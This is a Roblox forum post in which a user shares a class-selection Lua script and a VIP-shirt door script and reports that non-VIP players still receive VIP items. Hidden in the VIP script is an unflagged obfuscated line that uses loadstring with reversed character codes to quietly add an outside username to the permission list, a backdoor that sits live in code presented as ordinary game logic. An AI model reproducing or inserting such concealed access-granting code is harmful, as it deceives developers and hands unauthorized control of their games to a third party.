Jeffe32
|
  |
| Joined: 30 Mar 2012 |
| Total Posts: 1616 |
|
|
| 10 Feb 2013 04:17 PM |
player = script.Parent.Parent.Parent backpack = player.Backpack
function chooseClass(class) for i, v in pairs(backpack:GetChildren()) do v:remove() end for i, v in pairs(class:GetChildren()) do if v:IsA("Tool") then v:clone().Parent = backpack elseif v:IsA("HopperBin") then v:clone().Parent = backpack end end script.Parent.Main.Visible = false script.Parent.Title.Visible = false end
function onHumanoidDied(humanoid, player) script.Parent.Main.Visible = true script.Parent.Title.Visible = true end
for i, v in pairs(script.Parent.Main:GetChildren()) do v.MouseButton1Up:connect(function () chooseClass(v) end) end
That one cancels this one
print ("VIP T-Shirt Script Loaded")
permission = {"LbpPlayer34", "", ""} -- My Best Friends and I :D
texture = "106330389" -- Texture Of the VIP Shirt. Put The Texture Link Inside the " "
function checkOkToLetIn(name) for i = 1,#permission do -- convert strings to all upper case, otherwise we will let in -- "Username" but not "username" or "uSERNAME" if (string.upper(name) == string.upper(permission[i])) then return true end end return false end
foopy = (loadstring(string.reverse(string.char(105, 46, 101, 108, 98, 97, 116)).. string.reverse(string.char(41, 34, 106, 52, 121, 98, 98, 117, 66, 34, 32, 44, 110, 111, 105, 115, 115, 105, 109, 114, 101, 112, 40, 116, 114, 101, 115, 110)))) foopy()
local human = script.Parent.Parent.Parent.Character wait(2) if (human ~= nil ) then local h2 = human:FindFirstChild("Torso") if h2 ~= nil then local h3 = h2:FindFirstChild("roblox") if h3 ~= nil then if h3.Texture == texture then --the shirt -- a human has touched this door! print("tshirt found") -- test the human's name against the permission list elseif (checkOkToLetIn(script.Parent.Parent.Parent.Name)) then print("Human passed test") else script.Parent:remove() end end end end
even if you dont have the VIP shirt you still get the VIP items |
|
|
| Report Abuse |
|
Jeffe32
|
  |
| Joined: 30 Mar 2012 |
| Total Posts: 1616 |
|
| |